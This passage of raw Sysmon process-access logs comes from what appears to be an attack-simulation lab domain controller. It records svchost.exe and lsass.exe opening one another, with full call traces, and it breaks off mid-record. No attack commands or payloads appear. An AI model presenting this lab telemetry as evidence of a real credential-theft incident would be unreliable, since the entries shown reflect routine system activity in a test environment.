C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.266","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":860,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.266\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.266","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":861,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.266\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.266","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":862,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.266\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.266","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":863,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001081F10000}\r\nTargetProcessId: 1584\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001081F10000}","TargetProcessId":"1584","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":864,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001081F10000}\r\nTargetProcessId: 1584\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001081F10000}","TargetProcessId":"1584","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":865,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":866,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":867,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 